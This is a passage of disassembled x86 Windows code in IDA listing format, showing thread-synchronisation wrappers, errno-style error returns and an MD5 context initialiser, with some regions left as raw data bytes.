; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E50 proc near ; CODE XREF: sub_401555j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E63
cmp eax, 2
jg short loc_433E63
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_433E63: ; CODE XREF: sub_433E50+6j
; sub_433E50+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433E90: ; CODE XREF: ___:00401ADCj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433ED5
nop
call near ptr 27508C5h
cmp esi, eax
jz short loc_433ED5
push esi
push 0
push 200h
call near ptr 2710000h
nop
test eax, eax
jnz short loc_433ED5
call near ptr 27D0990h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433ED5: ; CODE XREF: ___:00433E97j
; ___:00433EA1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433EEE
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433EEE: ; CODE XREF: ___:00433EDBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F20: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433F65
nop
call near ptr 27508C5h
cmp esi, eax
jz short loc_433F65
push esi
push 0
push 400h
nop
call near ptr 2710000h
test eax, eax
jnz short loc_433F65
call near ptr 27D0990h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433F65: ; CODE XREF: ___:00433F27j
; ___:00433F31j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F90: ; CODE XREF: ___:00401B5Ej
push 0
call near ptr 2850369h
nop
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433FB0 proc near ; CODE XREF: sub_401C8Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_433FCF
mov edi, 1
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433FCF: ; CODE XREF: sub_433FB0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433FE7
mov edi, 0Ch
loc_433FE7: ; CODE XREF: sub_433FB0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 275020Ah
test eax, eax
mov [esi], eax
jnz short loc_434014
mov edi, 1Ch
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434014: ; CODE XREF: sub_433FB0+4Fj
test edi, edi
jz short loc_434026
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434026: ; CODE XREF: sub_433FB0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_433FB0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434070 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_434095
mov esi, [edi]
test esi, esi
jz short loc_434095
mov dword ptr [edi], 0
mov eax, [esi]
push eax
call near ptr 2850BF4h
nop
test eax, eax
jnz short loc_4340A7
mov [edi], esi
loc_434095: ; CODE XREF: sub_434070+8j
; sub_434070+Ej
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4340A7: ; CODE XREF: sub_434070+21j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_434070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4340E0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_434113
mov eax, [eax]
test eax, eax
jz short loc_434113
mov eax, [eax]
push 0
push eax
call near ptr 2780469h
nop
cmp eax, 102h
jnz short loc_434125
mov esi, 0Bh
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434113: ; CODE XREF: sub_4340E0+7j
; sub_4340E0+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434125: ; CODE XREF: sub_4340E0+1Fj
xor eax, eax
pop esi
retn
sub_4340E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434150 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_43417D
mov eax, [eax]
test eax, eax
jz short loc_43417D
mov eax, [eax]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_43417D: ; CODE XREF: sub_434150+7j
; sub_434150+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_434150 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4341C0 proc near ; CODE XREF: sub_4018A7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_4341E3
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4341E3: ; CODE XREF: sub_4341C0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_4341F2
or ebx, 0FFFFFFFFh
jmp short loc_434251
; ---------------------------------------------------------------------------
loc_4341F2: ; CODE XREF: sub_4341C0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
nop
call near ptr 77C49113h
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_434251
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_434251
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_434251
dec ebx
loc_434251: ; CODE XREF: sub_4341C0+30j
; sub_4341C0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D84
sub_4341C0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4342D0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
push 0
push 1
push eax
call near ptr 2750000h
nop
test eax, eax
jnz short loc_4342FF
loc_4342EF: ; CODE XREF: sub_4342D0+6j
; sub_4342D0+Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4342FF: ; CODE XREF: sub_4342D0+1Dj
xor eax, eax
retn
sub_4342D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434320 proc near ; CODE XREF: sub_402068j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_434346
mov eax, [eax]
test eax, eax
jz short loc_434346
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_434346
mov eax, [eax]
push 0
push ecx
push eax
call near ptr 2750000h
nop
test eax, eax
jnz short loc_434356
loc_434346: ; CODE XREF: sub_434320+6j
; sub_434320+Cj ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_434356: ; CODE XREF: sub_434320+24j
xor eax, eax
retn
sub_434320 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434370: ; CODE XREF: ___:0040143Dj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4343BD
mov esi, [eax]
test esi, esi
jz short loc_4343BD
mov edi, [esp+10h]
test edi, edi
jz short loc_4343BD
mov eax, [esi]
push 0
push eax
nop
call near ptr 2780469h
cmp eax, 102h
jnz short loc_4343A1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343A1: ; CODE XREF: ___:00434398j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
call near ptr 2750000h
nop
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343BD: ; CODE XREF: ___:00434378j
; ___:0043437Ej ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4343F0: ; CODE XREF: ___:0040222Fj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434410: ; CODE XREF: ___:00402031j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434430: ; CODE XREF: ___:00401CC6j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434450 proc near ; CODE XREF: sub_4019A1j
arg_0 = dword ptr 4
push esi
push offset dword_510940
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_434484
push esi
push ecx
call sub_402211
add esp, 8
mov esi, eax
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434484: ; CODE XREF: sub_434450+17j
test eax, eax
jnz short loc_43448D
mov esi, 16h
loc_43448D: ; CODE XREF: sub_434450+36j
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_434450 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4344C0 proc near ; CODE XREF: sub_402211j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4344DE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4344DE: ; CODE XREF: sub_4344C0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C3A
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_434519
mov [esp+14h+var_4], 1
loc_4344FB: ; CODE XREF: sub_4344C0+5Ej
; sub_4344C0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434530
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434519: ; CODE XREF: sub_4344C0+31j
cmp [esp+14h+var_4], 1
jle short loc_4344FB
cmp ebx, 1
jnz short loc_4344FB
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434530: ; CODE XREF: sub_4344C0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43454D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43454D: ; CODE XREF: sub_4344C0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A1E
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_434583
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_434583
mov dword ptr [esi], 3
loc_434583: ; CODE XREF: sub_4344C0+9Ej
; sub_4344C0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_43459F
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43459F: ; CODE XREF: sub_4344C0+D2j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4344C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434600: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4346A5
mov esi, [edi]
test esi, esi
jz loc_4346A5
cmp esi, 0FFFFFFFFh
jz short loc_434668
cmp dword ptr [esi], 3
jnz short loc_43464D
lea eax, [esi+4]
push eax
call sub_402252
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_43469F
loc_434637: ; CODE XREF: ___:0043465Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43464D: ; CODE XREF: ___:00434623j
push 1
push 0
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 1
jz short loc_434637
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434668: ; CODE XREF: ___:0043461Ej
push offset dword_510940
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43468F
push offset dword_510940
mov dword ptr [edi], 0
call near ptr 7C9010EDh
nop
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43468F: ; CODE XREF: ___:00434676j
push offset dword_510940
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_43469F: ; CODE XREF: ___:00434635j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4346A5: ; CODE XREF: ___:0043460Bj
; ___:00434615j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4346E0: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434741
mov eax, [esi]
test eax, eax
jz short loc_434741
cmp eax, 0FFFFFFFFh
jnz short loc_434701
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434746
loc_434701: ; CODE XREF: ___:004346F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_434723
loc_434713: ; CODE XREF: ___:00434721j
push 1
push 2
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 2
jz short loc_434713
loc_434723: ; CODE XREF: ___:00434711j
mov eax, [esi]
cmp eax, 2
jnz short loc_43472E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43472E: ; CODE XREF: ___:00434728j
cmp eax, 3
jnz short loc_434741
add esi, 4
push esi
call sub_402248
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434741: ; CODE XREF: ___:004346E7j
; ___:004346EDj ...
mov eax, 16h
loc_434746: ; CODE XREF: ___:004346FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434770: ; CODE XREF: ___:00401AB9j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4347B1
mov esi, [eax]
test esi, esi
jz short loc_4347B1
cmp esi, 0FFFFFFFFh
jnz short loc_43478B
loc_434784: ; CODE XREF: ___:00434797j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43478B: ; CODE XREF: ___:00434782j
push 2
push 1
push esi
call dword_5103C8 ; InterlockedCompareExchange
dec eax
jz short loc_434784
dec eax
jz short loc_4347AD
dec eax
jnz short loc_4347B1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347AD: ; CODE XREF: ___:0043479Aj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347B1: ; CODE XREF: ___:00434777j
; ___:0043477Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4347E0: ; CODE XREF: ___:00401942j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434830
mov eax, [esi]
test eax, eax
jz short loc_434830
cmp eax, 0FFFFFFFFh
jnz short loc_434801
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434835
loc_434801: ; CODE XREF: ___:004347F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103C8 ; InterlockedCompareExchange
dec eax
jz short loc_43482C
dec eax
jz short loc_434825
dec eax
jnz short loc_434830
add esi, 4
push esi
call sub_401785
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434825: ; CODE XREF: ___:00434812j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43482C: ; CODE XREF: ___:0043480Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_434830: ; CODE XREF: ___:004347E7j
; ___:004347EDj ...
mov eax, 16h
loc_434835: ; CODE XREF: ___:004347FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434860: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43488C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_434887
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_434887: ; CODE XREF: ___:0043487Ej
xor eax, eax
mov [esi+20h], ecx
loc_43488C: ; CODE XREF: ___:00434872j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4348A0 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43492C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4348C4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348C4: ; CODE XREF: sub_4348A0+1Bj
push edi
push esi
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_4348DD
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348DD: ; CODE XREF: sub_4348A0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4348ED
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348ED: ; CODE XREF: sub_4348A0+41j
mov eax, [esi+4]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 30C299E8h, 0C0859002h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43492C: ; CODE XREF: sub_4348A0+12j
pop esi
retn
sub_4348A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434960 proc near ; CODE XREF: sub_401609j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434985
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434985: ; CODE XREF: sub_434960+15j
nop
call near ptr 2740763h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4349AE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349AE: ; CODE XREF: sub_434960+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4349CB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349CB: ; CODE XREF: sub_434960+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_434960 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434A00 proc near ; CODE XREF: sub_401AB4j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_434A90
cmp [ebx+0Ch], ebp
jz short loc_434A6C
cmp [ebx+4], ebp
jz short loc_434A6C
lea eax, [ebx+8]
push eax
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A6C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_434A5F
push edi
loc_434A33: ; CODE XREF: sub_434A00+5Cj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A5A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_434A5A: ; CODE XREF: sub_434A00+3Ej
cmp esi, ebp
jnz short loc_434A33
pop edi
loc_434A5F: ; CODE XREF: sub_434A00+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_434A6C: ; CODE XREF: sub_434A00+13j
; sub_434A00+18j ...
mov eax, [ebx]
push eax
nop
call near ptr 2740000h
cmp [ebx+4], ebp
jz short loc_434A86
lea ecx, [ebx+8]
push ecx
call sub_402252
add esp, 4
loc_434A86: ; CODE XREF: sub_434A00+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_434A90: ; CODE XREF: sub_434A00+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_434A00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434AD0 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_5103B4
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_434AF4
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_434B03
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434AF4: ; CODE XREF: sub_434AD0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_434B03
mov eax, ebx
loc_434B03: ; CODE XREF: sub_434AD0+1Aj
; sub_434AD0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_434B65
test eax, eax
jz short loc_434B52
mov ecx, [esi+4]
test ecx, ecx
jz short loc_434B52
test ebx, ebx
jz short loc_434B52
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_434B3D
loc_434B27: ; CODE XREF: sub_434AD0+65j
cmp [ecx+8], esi
jz short loc_434B39
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_434B27
jmp short loc_434B3D
; ---------------------------------------------------------------------------
loc_434B39: ; CODE XREF: sub_434AD0+5Aj
test ecx, ecx
jnz short loc_434B52
loc_434B3D: ; CODE XREF: sub_434AD0+55j
; sub_434AD0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DDE
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_434B65
loc_434B52: ; CODE XREF: sub_434AD0+3Cj
; sub_434AD0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 27603DDh
test eax, eax
jnz short loc_434B65
mov edi, 0Bh
loc_434B65: ; CODE XREF: sub_434AD0+38j
; sub_434AD0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_434AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434BA0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27D0990h
mov esi, eax
call sub_438250
sub_434BA0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 0C0EFE851h, 5690022Fh, 0E5E8D88Bh
dd 90022FC2h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_434BF0 proc near ; CODE XREF: sub_401A69j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_434BF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434C30 proc near ; CODE XREF: sub_401C26j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_434C5B
inc dword ptr [esi+14h]
loc_434C5B: ; CODE XREF: sub_434C30+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_434CB9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_435A30
lea ecx, [esi+18h]
push ecx
push esi
call sub_434DA0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
